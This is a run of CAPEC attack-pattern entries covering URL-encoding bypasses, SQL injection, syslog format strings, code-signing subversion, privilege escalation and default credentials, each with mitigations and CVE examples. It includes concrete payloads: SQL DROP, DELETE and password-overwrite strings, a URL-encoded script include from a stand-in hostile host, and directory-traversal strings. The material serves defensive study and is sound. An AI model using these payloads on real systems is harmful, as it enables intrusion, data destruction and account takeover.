The attacker accesses the server using a specific URL. The attacker tries to encode some special characters in the URL. The attacker find out that some characters are not filtered properly. The attacker crafts a malicious URL string request and sends it to the server. The server decodes and interprets the URL string. Unfortunately since the input filtering is not done properly, the special characters have harmful consequences. The application accepts and decodes URL string request. The application performs insufficient filtering/canonicalization on the URLs. High High Injection Protocol Manipulation API Abuse Attack Example: Combined Encodings CesarFTP Alexandre Cesari released a freeware FTP server for Windows that fails to provide proper filtering against multiple encoding. The FTP server, CesarFTP, included a Web server component that could be attacked with a combination of the triple-dot and URL encoding attacks. An attacker could provide a URL that included a string like /...%5C/ This is an interesting exploit because it involves an aggregation of several tricks—the escape character, URL encoding, and the triple dot. CVE-2001-1335 Low - An attacker can try special characters in the URL and bypass the URL validation. Medium - The attacker may write a script to defeat the input filtering mechanism. An attacker can manually inject special characters in the URL string request and observe the results of the request. Custom scripts can also be used. For example, a good script for verifying the correct interpretation of UTF-8 encoded characters can be found at http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt Automated tools such as fuzzer can be used to test the URL decoding and filtering. If the first decoding process has left some invalid or blacklisted characters, that may be a sign that the request is malicious. Traffic filtering with IDS (or proxy) can detect requests with suspicious URLs. IDS may use signature based identification to reveal such URL based attacks. Sometime the percent escaping can be used to obfuscate the attack itself. Alternative method of data encoding can be used. Obfuscation technique such as IP address encoding can also be used (See reference section : "URL encoded attacks", by Gunter Ollmann). Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Test your decoding process against malicious input. Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding. When client input is required from web-based forms, avoid using the "GET" method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the "POST method whenever possible. Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process. Refer to the RFCs to safelly decode URL. Regular expression can be used to match safe URL patterns. However, that may discard valid URL requests if the regular expression is too restrictive. There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx). Information Leakage Denial of Service Run Arbitrary Code Information Leakage Privilege Escalation Most web programming languages have built in API to perform URL Encoding and URL Decoding. For instance PHP uses "urlencode(string)" and "urldecode(string)". Java uses "java.net.URLEncode.encode(String)". 177 Targeted 171 Targeted 173 Targeted 172 Targeted 73 Targeted 21 Targeted 74 Targeted 20 Targeted 697 Targeted 707 Targeted Using Alternate Encodings to Bypass Validation Logic More Detailed 71 Similar 79 Similar 72 Similar 43 Similar Reluctance to Trust Penetration Medium High Medium All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Input Validation URL encoded attacks, by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html Uniform Resource Identifier (URI): Generic Syntax, RFC 3886 - http://www.ietf.org/rfc/rfc3986.txt URL Uniform Resource Locators (URL) RFC - http://rfc.net/rfc1738.html URL encoding reference - http://www.w3schools.com/tags/ref_urlencode.asp The URLEncode and URLDecode Page - http://www.albionresearch.com/misc/urlencode.php David Wheeler - Validating URIs - http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/filter-html.html#VALIDATING-URIS G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

Attackers can capture appplication code bound for the client and can use it, as-is or through reverse-engineering, to glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.

The attacker sets up a sniffer (and an interceptor, as the motive of the attack may be) in the path between the server and the client The captured code is then used as part of a larger attack, such as reverse-engineering the code or denying its delivery to the client or altering its contents on way to the client The attacker must have the ability to place himself in the communication path between the client and server. The targeted application must receive some application code from the server; for example, dynamic updates, patches, applets or scripts. The attacker must be able to employ a sniffer on the network without being detected. High Low Attacker receives notification that the computer/OS/application has an available update, loads a network sniffing tool, and extracts update data from subsequent communication. The attacker then proceeds to reverse engineer the captured stream. Plain code, such as applets or Javascript, is also part of the executing application. If such code is transmitted unprotected, the attacker can capture the code and possibly reverse engineer it to gain sensitive information, such as encryption keys, validation algorithms and such. Medium: The attacker needs to setup a sniffer for a sufficient period of time so as to capture meaningful quantities of code. The presence of the sniffer should not be detected on the network. Also if the attacker plans to employ a man-in-the-middle attack, the client or server must not realize this. Finally, the attacker needs to regenerate source code from binary code if the need be. The Attacker needs the ability to capture communications between the client being updated and the server providing the update. In the case that encryption obscures client/server communication the attacker will either need to lift key material from the client. Information Leakage Privilege Escalation Sniffing and capturing application code is used by an attacker to gain access to the code executing on the victim client. This can include binary code, such as patches, updates and applets, as well as script code, such as Javascript code. With binary code, such as that included in updates or applets, it may be possible to reverse-engineer the code. If this is done, the attacker can extract passwords or encryption strings from such code. In that respect, this pattern's context is that of an componenent (application/OS/system) supporting application update. It's likely that the attacker possess authorization for normal use already. It is important to remember that code such as Javascript also forms part of the web application that offloads some amount of processing on the client, and can therefore contain sensitive information as well. For example, an application may be using some form of cryptography to encrypt contents before transmitting them over to the server, and in turn decrypting the server's responses. Sniffing and capturing such code can also reveal potentially sensitive information and can compromise the application's security. 319 Targeted 311 Secondary 318 Secondary 693 Targeted 719 Targeted 37 More Detailed Do not store secrets in client code All potentially sensitive data, including code, transmitted to the client must be encrypted Never Assuming that Your Secrets Are Safe Securing the Weakest Link Use Well-Known Cryptography Appropriately and Correctly Use Authentication Mechanisms, Where Appropriate, Correctly Reconnaissance Exploitation High Medium Low Client-Server All All All John Steven Cigital, Inc 2007-02-10 Initial core pattern content Chiradeep B. Chhaya Cigital, Inc 2007-02-23 Fleshed out pattern with extra content Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attacker's choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Sucessful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:

Survey application The attacker first takes an inventory of the functionality exposed by the application. Spider web sites for all available links env-Web Sniff network communications with application using a utility such as WireShark. env-ClientServer env-Peer2Peer env-CommProtocol At least one data input to application identified. No inputs to application identified. Note that just because no inputs are identified does not mean that the application will not accept any. Determine user-controllable input susceptible to injection Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to SQL injection, attempt to inject characters that have special meaning in SQL (such as a single quote character, a double quote character, two hyphens, a paranthesis, etc.). The goal is to create a SQL query with an invalid syntax. Use web browser to inject input through text fields or through HTTP GET parameters. env-Web Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc. env-Web Use network-level packet injection tools such as netcat to inject input env-Web env-ClientServer env-Peer2Peer env-CommProtocol Use modified client (modified by reverse engineering) to inject input. env-ClientServer env-Peer2Peer env-CommProtocol Attacker receives normal response from server. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Attacker receives an error message from server indicating that there was a problem with the SQL query. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Server sends a specific error message that indicates programmatic parsing of the input data (e.g. NumberFormatException) env-Web env-ClientServer env-Peer2Peer env-CommProtocol At least one user-controllable input susceptible to injection found. No user-controllable input susceptible to injection found. Search for and alert on unexpected SQL keywords in application logs (e.g. SELECT, DROP, etc.). Input validation of user-controlled data before including it in a SQL query Use parameterized queries (e.g. PreparedStatement in Java, and Command.Parameters.Add() to set query parameters in .NET) Experiment and try to exploit SQL Injection vulnerability After determining that a given input is vulnerable to SQL Injection, hypothesize what the underlying query looks like. Iteratively try to add logic to the query to extract information from the database, or to modify or delete information in the database. Use public resources such as "SQL Injection Cheat Sheet" at http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/, and try different approaches for adding logic to SQL queries. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Add logic to query, and use detailed error messages from the server to debug the query. For example, if adding a single quote to a query causes an error message, try : "' OR 1=1; --", or something else that would syntactically complete a hypothesized query. Iteratively refine the query. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Use "Blind SQL Injection" techniques to extract information about the database schema. env-Web env-ClientServer env-Peer2Peer env-CommProtocol If a denial of service attack is the goal, try stacking queries. This does not work on all platforms (most notably, it does not work on Oracle or MySQL). Examples of inputs to try include: "'; DROP TABLE SYSOBJECTS; --" and "'); DROP TABLE SYSOBJECTS; --". These particular queries will likely not work because the SYSOBJECTS table is generally protected. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Success outcome in previous step. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Failure outcome in previous step. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Attacker achieves goal of unauthorized system access, denial of service, etc. Attacker unable to exploit SQL Injection vulnerability. SQL queries used by the application to store, retrieve or modify data. User-controllable input that is not properly validated by the application as part of SQL queries. High Very High Injection With PHP-Nuke versions 7.9 and earlier, an attacker can successfully access and modify data, including sensitive contents such as usernames and password hashes, and compromise the application through SQL Injection. The protection mechanism against SQL Injection employs a blacklist approach to input validation. However, because of improper blacklisting, it is possible to inject content such as "foo'/**/UNION" or "foo UNION/**/" to bypass validation and glean sensitive information from the database. CVE-2006-5525 Low - It is fairly simple for someone with basic SQL knowledge to perform SQL injection, in general. In certain instances, however, specific knowledge of the database employed may be required. None The attacker tries to inject characters that can cause a SQL error, such as single-quote (') or keywords such as "UNION" and "OR". If the injection of such characters into the input causes a SQL error and the resulting error is displayed unfiltered, the attacker can begin to determine the nature of input validation and structure of SQL queries. A typical error resulting from such injection would look like: "You have an error in your SQL Syntax. Check your manual for the right syntax to use near ') FROM db_users.user_table" With available design documentation and code, the attacker can determine whether all user-controllable inputs are being validated or not, and also the structure of SQL queries that such inputs feed into. Too many false or invalid queries to the database, especially those caused by malformed input. Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as SQL content. Keywords such as UNION, SELECT or INSERT must be filtered in addition to characters such as a single-quote(') or SQL-comments (--) based on the context in which they appear. Use of parameterized queries or stored procedures - Parameterization causes the input to be restricted to certain domains, such as strings or integers, and any input outside such domains is considered invalid and the query fails. Note that SQL Injection is possible even in the presence of stored procedures if the eventual query is constructed dynamically. Use of custom error pages - Attackers can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the database or application. Data Modification Information Leakage Run Arbitrary Code Privilege Escalation SQL Injection results from a combination of factors. The primary cause is lack of appropriate input validation. In the absence of such validation, it becomes possible to inject arbitrary content, such as code, into the input. The second most important reason is use of dynamic SQL queries. It is a misconception that use of stored procedures makes the application immune to SQL Injection. It is important that input be parameterized to provide an additional line of defense, should input validation fail. Another factor that lets attackers discern information about the structure of queries and the application is use of default error pages and improper error handling. Descriptive error pages must be used only for debugging purposes. The motive of an attacker is to inject spurious content into input that does not get properly validated and is used as part of SQL queries. When the resulting error page is displayed, the attacker can determine the structure of queries as well as internal system information, leading to SQL Injection being successful. An important distinction needs to be made concerning first-order and second-order SQL Injection. With first-order injection, the results of injection are observed immediately in the form of an error message or a successful query resulting in attaining the attacker's motive. However, there are instances when the results of a successful injection are observed when a different query is executed or a different user accesses the application. For example, an attacker may enter ';DELETE recipes;-- as input to a favorite recipe question. When the application is subsequently requested to retrieve details of the attacker's favorite recipe, a query such as: "SELECT descr FROM recipes WHERE recipe='"+rs.getString("Favorite")+"'"; results in the following being executed: "SELECT descr FROM recipes WHERE recipe='';DELETE recipes;-- which is valid SQL syntax and results in deletion of an entire table. This method of SQL Injection that involves subsequent access to injected data is known as second-order SQL Injection. User-controllable input used as part of non-parameterized SQL queries: This may include input fields on web forms, data in user-accessible files or even command-line parameters. SQL statements intended to reveal information or run malicious code Back-end database When malicious SQL content is executed by the database, it can lead to arbitrary queries being executed, causing disclosure of information, unauthorized access, privilege escalation and possibly system compromise. 89 Targeted 74 Secondary 20 Secondary 390 Secondary 697 Secondary 713 Secondary 707 Secondary 7 More Abstract Special characters in user-controllable input must be escaped before use by the application. Only use parameterized stored procedures to query the database. Input data must be revalidated in the parameterized stored procedures. Custom error pages must be used to handle exceptions such that they do not reveal any information about the architecture of the application or the database. Reluctance to Trust Failing Securely Defense in Depth Never Use Input as Part of a Directive to any Internal Component Handle All Errors Safely Penetration Exploitation High High High All All All All CWE - SQL Injection CWE - Input Validation CWE - Improper Error Handling Chiradeep B Chhaya 2007-01-12 Second Draft Malik Hamro Cigital, Inc 2007-02-27 Reformat to new schema and review Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This attack targets the format string vulnerabilities in the syslog() function. An attacker would typically inject malicious input in the format string parameter of the syslog function. This is a common problem, and many public vulnerabilities and associated exploits have been posted.

The attacker finds that he can inject data to the format string parameter of Syslog(). The attacker craft a malicious input and inject it into the format string parameter. From now on, the attacker can exeute arbitrary code and do more damage. The format string argument of the Syslog function can be tainted with user supplid data. Very High High Injection Format string vulnerability in TraceEvent function for ntop before 2.1 allows remote attackers to execute arbitrary code by causing format strings to be injected into calls to the syslog function, via (1) an HTTP GET request, (2) a user name in HTTP authentication, or (3) a password in HTTP authentication. CVE-2002-0412 If the source code of the application is available, an attacker can use static analysis tools to spot a syslog vulnerability (a simple grep may also work). If the source code is not available, automated tools such as Fuzzer and advanced Web Scanner can be used. If the tool supplied data reaches the syslog's format string argument, the application under scrutiny may have unexpected behavior. If the source code is not available, a more complexe technique involve the use of library and system call tracer combined with the use of binary auditing tool such as IDA Pro. Reverse Engineering technique can be used to find format string vulnerability in the syslog function call. For instance it is possible to get the address of the buffer that is later used as the format string when reading data The code should be reviewed for misuse of the Syslog function call. Manual or automated code review can be used. The reviewer needs to ensure that all format string functions are passed a static string which cannot be controlled by the user and that the proper number of arguments are always sent to that function as well. If at all possible, do not use the %n operator in format strings. The following code shows a correct usage of Syslog(): ... syslog(LOG_ERR, "%s", cmdBuf); ... The following code shows a vulnerable usage of Syslog(): ... syslog(LOG_ERR, cmdBuf); // the buffer cmdBuff is taking user supplied data. ... Run Arbitrary Code Denial of Service Privilege Escalation Data Modification Format String Vulnerabilities When you get right down to it, format strings vulnerabilities are relatively simple in nature. An API call that takes a format string (i.e., %s) can be exploited when the format string argument is controlled by a remote attacker. Unfortunately, the problem exists mainly because of laziness on the part of the programmer. However, the problem is so simple that it can be detected automatically using simple code scanners. Thus, once the format string vulnerability was publicized in the late 1990s, it was rapidly hunted down and eliminated in most software. Here is a trivial function that suffers from a format string problem: void some_func(char *c) { printf(c); } Untrusted user supplied data is the injection vector. The maliciously crafted data can read from the stack if passed to the Syslog function as a format String. The signature of the syslog function is as following : "void syslog(int priority, const char *format, ...);" A vulnerable usage would be : "syslog(LOG_ERR, cmdBuf);" where cmdBuf is a user controlled data which leads to a format string vulnerability. The activation zone is the format String argument which accepts user supplied data. The impacts of this attack can be execution of arbitrary code. Execution of arbitary code can lead to many problems such as corruption of data, unauthorized access, etc. 120 Secondary 134 Targeted 74 Secondary 20 Secondary 680 Targeted 697 Targeted CVE-2002-0573 format string in bad call to syslog function CVE-2001-0717 format string in bad call to syslog function CVE-2002-0412 format string in bad call to syslog function Buffer Overflow via Format Strings More Detailed Choose a language which is not subject to this flaw. Do not use the Syslog() in your implementation. Use manual or automated code review to spot potential format string vulnerability in functions such as Syslog(), Vsyslog(), snprintf(), etc. Reluctance to Trust Verify that input is of a limited size. If the message is coming from an outside source, check for %s type parameters and ensure that bounds will not be overwritten. Don't use text from an outside source as a format string. Penetration Exploitation High High High All All All All C C++ G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Buffer Errors Exploiting Format String Vulnerabilities, scut / team teso, http://doc.bughunter.net/format-string/exploit-fs.html Halvar Flake, "Auditing binaries for security vulnerabilities", http://www.blackhat.com/presentations/bh-europe-00/HalvarFlake/HalvarFlake.ppt Fortify Taxonomy of Vulnerabilities : http://vulncat.fortifysoftware.com/1/FS.html - Fortify Software (www.fortifysoftware.com) Syslog man page : http://www.rt.com/man/syslog.3.html G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

Because languages use code signing facilities to vouch for code's identity and to thus tie code to its assigned privileges within an environment, subverting this mechanism can be instrumental in an attacker escalating privilege. Any means of subverting the way that a virtual machine enforces code signing classifies for this style of attack. This pattern does not include circumstances through which a signing key has been stolen.

A framework-based language that supports code signing (such as, and most commonly, Java or .NET) Deployed code that has been signed by its authoring vendor, or a partner. The attacker will, for most circumstances, also need to be able to place code in the victim container. This does not necessarily mean that they will have to subvert host-level security, except when explicitly indicated. Very High Low Spoofing API Abuse In old versions (prior to 3.0b4) of the Netscape web browser Attackers able to foist a malicious Applet into a client's browser could execute the "Magic Coat" attack. In this attack, the offending Applet would implement its own getSigners() method. This implementation would use the containing VM's APIs to acquire other Applet's signatures (by calling _their_ getSigners() method) and if any running Applet had privileged-enough signature, the malicious Applet would have inherited that privilege just be (metaphorically) donning the others' coats. Some (older) web browsers allowed scripting languages, such as Javascript, to call signed Java code. In these circumstances, the browser's VM implimentation would choose not to conduct stack inspection across language boundaries (from called signed Java to calling Javascript) and would short-circuit "true" at the language boundary. Doing so meant that the VM would allow any (unprivileged) script to call privileged funcitons within signed code with impunity, causing them to fall prey to luring attacks. The ability to load unsigned code into the kernel of earlier versions of Vista and bypass integrity checking is an example of such subversion. In the proof-of-concept, it is possible to bypass the signature-checking mechanism Vista uses to load device drivers. High: Subverting code signing is not a trivial activity. Most code signing and verification schemes are based on use of cryptography and the attacker needs to have an understand of these cryptographic operations in good detail. Additionally the attacker also needs to be aware of the way memory is assigned and accessed by the container since, often, the only way to subvert code signing would be to patch the code in memory. Finally, a knowledge of the platform specific mechanisms of signing and verifying code is a must. The Attacker needs no special resources beyond the listed pre-requisities in order to conduct this style of attack. Understanding, and possibly exploiting, the effect of certain flags or environment variables on code signing. Introducing unmanaged code into a container-managed environment A given code signing scheme may be fallible due to improper use of cryptography. Developers must never roll out their own cryptography, nor should existing primitives be modified or ignored. If an attacker cannot attack the scheme directly, he might try to alter the environment that affects the signing and verification processes. A possible mitigation is to avoid reliance on flags or environment variables that are user-controllable. Privilege Escalation The context in which this class of attacks occurs is often a VM-based language, such as Java or .NET, as described by this pattern's pre-requisities section. However, that is not necessary. Code signing schemes meant to operate on C-based (or similar) software may also be vulnerable to similar weaknesses. Attackers must probe the container for vulnerabilities in its code signing, verification, and stack inspection schemes. This can be done through a variety of direct or side-channel techniques. These techniques include, but are not restricted to, observing the effect of certain operating system flags on the code signing process, looking for weaknesses in the verification algorithm as implemented by the container or other means intended to lead the code signing or verification scheme to accept malicious code. The Attacker must also probe for the existance of any signed code they wish to exploit (such as the examples given). In the case of forging a signature (in a vacuum) to increase privilege, this step is not required. 325 Targeted 328 Targeted CVE-2006-5201 Multiple packages on Sun Solaris, including (1) NSS; (2) Java JDK and JRE 5.0 Update 8 and earlier, SDK and JRE 1.4.x up to 1.4.2_12, and SDK and JRE 1.3.x up to 1.3.1_19; (3) JSSE 1.0.3_03 and earlier; (4) IPSec/IKE; (5) Secure Global Desktop; and (6) StarOffice, when using an RSA key with exponent 3, removes PKCS-1 padding before generating a hash, which allows remote attackers to forge a PKCS #1 v1.5 signature that is signed by that RSA key and prevents these products from correctly verifying X.509 and other certificates that use PKCS #1. CVE-2006-4790 verify.c in GnuTLS before 1.4.4, when using an RSA key with exponent 3, does not properly handle excess data in the digestAlgorithm.parameters field when generating a hash, which allows remote attackers to forge a PKCS #1 v1.5 signature that is signed by that RSA key and prevents GnuTLS from correctly verifying X.509 and other certificates that use PKCS, a variant of CVE-2006-4339. Use Well-Known Cryptography Appropriately and Correctly Exploitation High High High Client-Server SOA All All All John Steven Cigital, Inc 2007-02-10 Initial core pattern content Chiradeep B. Chhaya Cigital, Inc 2007-02-23 Fleshed out pattern with extra content

This attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call.

The attacker probes for programs running with elevated privileges. The attacker finds a bug in a program running with elevated privileges. The attacker exploits the bug that she has found. For instance she can try to inject and execute arbitrary code or write to OS resources. The targeted program runs with elevated OS privileges. The targeted program accepts input data from the user or from another program. The targeted program does not perform input validation properly. The targeted program does not fail safely. For instance when a program fails it may authorize restricted access to anyone. The targeted program has a vulnerability such as buffer overflow which may be exploited if a malicious user can inject unvalidated data. For instance a buffer overflow interrupts the program as it executes, and makes it run additional code supplied by the attacker. If the program under attack has elevated privileges to the OS, the attacker can elevate its privileges (such as having root level access). The targeted program is giving away information about itself. Before performing such attack, an eventual attacker may need to gather information about the services running on the host target. The more the host target is verbose about the services that are running (version number of application, etc.) the more information can be gather by an attacker. This attack often requires communicating with the host target services directly. For instance Telnet may be enough to communicate with the host target. Very High Very High Injection API Abuse Protocol Manipulation Flooding Low: An attacker can use a tool to scan and automatically launch an attack against known issues. A tool can also repeat a sequence of instructions and try to brute force the service on the host target, an example of that would be the flooding technique. Medium to High: More advanced attack may require knowledge of the protocol spoken by the host service. Probing technique include fuzzing (sending random data in order to fail the service on the host target), brute forcing (with automated tools), network scanning to determine which services are available and running on the target host. There are freely available tools to probe and gather information from host target. For instance, the attacker can find out that a host target has not been patched by collecting such information. The log can have a trace of abnormal activity. Also if abnormal activity is detected on the host target. For instance flooding should be seen as abnormal activity and the target host may decide to take appropriate action in order to mitigate the attack (data filtering or blocking). Resource exhaustion is also a sign of abnormal activity. The attacker may try to hide her attack by forging the host's logs. The attacker has interest in mimicing a legitimate call to the program or service under threat. Apply the principle of least privilege. Validate all untrusted data. Apply the latest patches. Scan your services and disable the ones which are not needed and are exposed unnecessarily. Exposing programs increases the attack surface. Only expose the services which are needed and have security mechanisms such as authentication built around them. Avoid revealing information about your system (e.g., version of the program) to anonymous users. Make sure that your program or service fail safely. What happen if the communication protocol is interrupted suddenly? What happen if a parameter is missing? Does your system have resistance and resiliance to attack? Fail safely when a resource exhaustion occurs. If possible use a sandbox model which limits the actions that programs can take. A sandbox restricts a program to a set of privileges and commands that make it difficult or impossible for the program to cause any damage. Check your program for buffer overflow and format String vulnerabilities which can lead to execution of malicious code. Monitor traffic and resource usage and pay attention if resource exhaustion occurs. Protect your log file from unauthorized modification and log forging. Run Arbitrary Code Privilege Escalation Denial of Service Secure programming guides are full of references to the principle of least privilege (see Building Secure Software [Viega and McGraw, 2001], for example). The problem is that most code is not designed to work with least privilege. Often times the code will fail to operate properly if access restrictions are placed on it. The sad thing is that many such programs could very likely be written without requiring Administrator or root access, but they aren't. As a result, today's software runs with way too much system wide privilege. Thinking about privilege requires adjusting your viewpoint to a panoramic, systemwide view. (This is an excellent attacker trick that you should internalize.) Often the OS is the essential service providing privilege and access control checks, but many programs do not properly adhere to the least-privilege concept, so they abuse the OS and request too much privilege (often without being told "no"). Furthermore, the user of the program may or may not notice this issue, but you can be assured that an attacker will. One very interesting technique is to run a target program in a sandbox and examine the security context of each call and operation (something that is made easier in advanced platforms like Java 2). Privilege problems are very likely to surface during this exercise, and thus provide one of the richest forms of attack. 250 Targeted 264 Targeted 217 Secondary 15 Secondary CVE-2004-0213 Utility Manager in Windows 2000 launches winhlp32.exe while Utility Manager is running with raised privileges, which allows local users to gain system privileges via a "Shatter" style attack that sends a Windows message to cause Utility Manager to launch winhlp32 by directly accessing the context sensitive help and bypassing the GUI, then sending another message to winhlp32 in order to open a user-selected file, a different vulnerability than CVE-2003-0908. 8 More Detailed Occasionally Precedes 9 More Detailed Occasionally Precedes 10 More Detailed Occasionally Precedes 67 More Detailed Occasionally Precedes A user must be authenticated if she invokes a privileged program. Reluctance to Trust Least Privilege Fail Securely Defense in Depth Any guideline related to the buffer overflow and format String vulnerability. Patch programs with the latest patches from Vendors. Ensure log integrity Validate all untrusted input Exploitation High High Low All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE : Failure to protect stored data from modification CWE : Setting manipulation CWE : Often Misused: Privilege Management CWE : Permissions, Privileges, and Access Controls G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attacker may try certain common (default) usernames and passwords to gain access into the system and perform unauthorized actions. An attacker may try an intelligent brute force using known vendor default credentials as well as a dictionary of common usernames and passwords. Many vendor products come preconfigured with default (and thus well known) usernames and passwords that should be deleted prior to usage in a production environment. It is a common mistake to forget to remove these default login credentials. Another problem is that users would pick very simple (common) passwords (e.g. "secret" or "password") that make it easier for the attacker to gain access to the system compared to using a brute force attack or even a dictionary attack using a full dictionary.

The system uses one factor password based authentication. High Medium Brute Force User Bob sets his password to "123". If the system does not have password strength enforcement against a sound password policy, this password may be admitted. A simple numeric sequence like this is one of the most common passwords and is easily guessable by an attacker. Cisco 2700 Series Wireless Location Appliances (version 2.1.34.0 and earlier) have a default administrator username "root" with a password "password". This allows remote attackers to easily obtain administrative privileges. CVE-2006-5288 Low: An attacker just needs to gain access to common default usernames/passwords specific to the technologies used by the system. Additionally, a brute force attack leveraging common passwords can be easily realized if the user name is known. Technology or vendor specific list of default usernames and passwords. Try to determine what products are used in the implementation of the system. Determine if there are any default accounts associated with those products. Many incorrect login attempts are detected by the system. Try to spoof IP addresses so that it does not look like the incorrect log in attempts are coming from the same computer. Delete all default account credentials that may be put in by the product vendor. Implement a password throttling mechanism. This mechanism should take into account both the IP address and the log in name of the user. Put together a strong password policy and make sure that all user created passwords comply with it. Alternatively automatically generate strong passwords for users. Passwords need to be recycled to prevent aging, that is every once in a while a new password must be chosen. Privilege Escalation 521 Targeted 262 Targeted 263 Targeted 693 Targeted 16 More Abstract Occasionally Follows 49 Occasionally Follows More Abstract 55 Occasionally Follows Failing Securely Penetration High High Medium All All All All Eugene Lebanidze Cigital, Inc 2007-02-26 Sean Barnum Cigital, Inc 2007-03-01 Review and revision of content

This attack targets the encoding of the URL. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc. The attacker could also subvert the meaning of the URL string request by encoding the data being sent to the server through a GET request. For instance an attacker may subvert the meaning of parameters used in a SQL request and sent through the URL string (See Example section).

The attacker accesses the server using a specific URL. The attacker tries to encode some special characters in the URL. The attacker finds out that some characters are not filtered properly. The attacker crafts a malicious URL string request and sends it to the server. The server decodes and interprets the URL string. Unfortunately since the input filtering is not done properly, the special characters may have harmful consequences. The application should accepts and decodes URL input. The application performs insufficient filtering/canonicalization on the URLs. High High Injection Protocol Manipulation API Abuse Attack Example: URL Encodings in IceCast MP3 Server. The following type of encoded string has been known traverse directories against the IceCast MP3 server9: http://[targethost]:8000/somefile/%2E%2E/target.mp3 or using "/%25%25/" instead of "/../". The control character ".." can be used by an attacker to escape the document root. CVE-2001-0784 Cross-Site Scripting URL-Encoded attack: http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2f www.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e HTML execution: <script src="http://www.badplace.com/nasty.js"></script> From "URL encoded attacks", by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html SQL Injection Original database query in the example file - "login.asp": SQLQuery = "SELECT preferences FROM logintable WHERE userid='" & Request.QueryString("userid") & "' AND password='" & Request.QueryString("password") & "';" URL-encoded attack: http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd %3d%270wn3d%27%3b--%00 Executed database query: SELECT preferences FROM logintable WHERE userid='bob'; update logintable set password='0wn3d'; From "URL encoded attacks", by Gunter Ollmann - 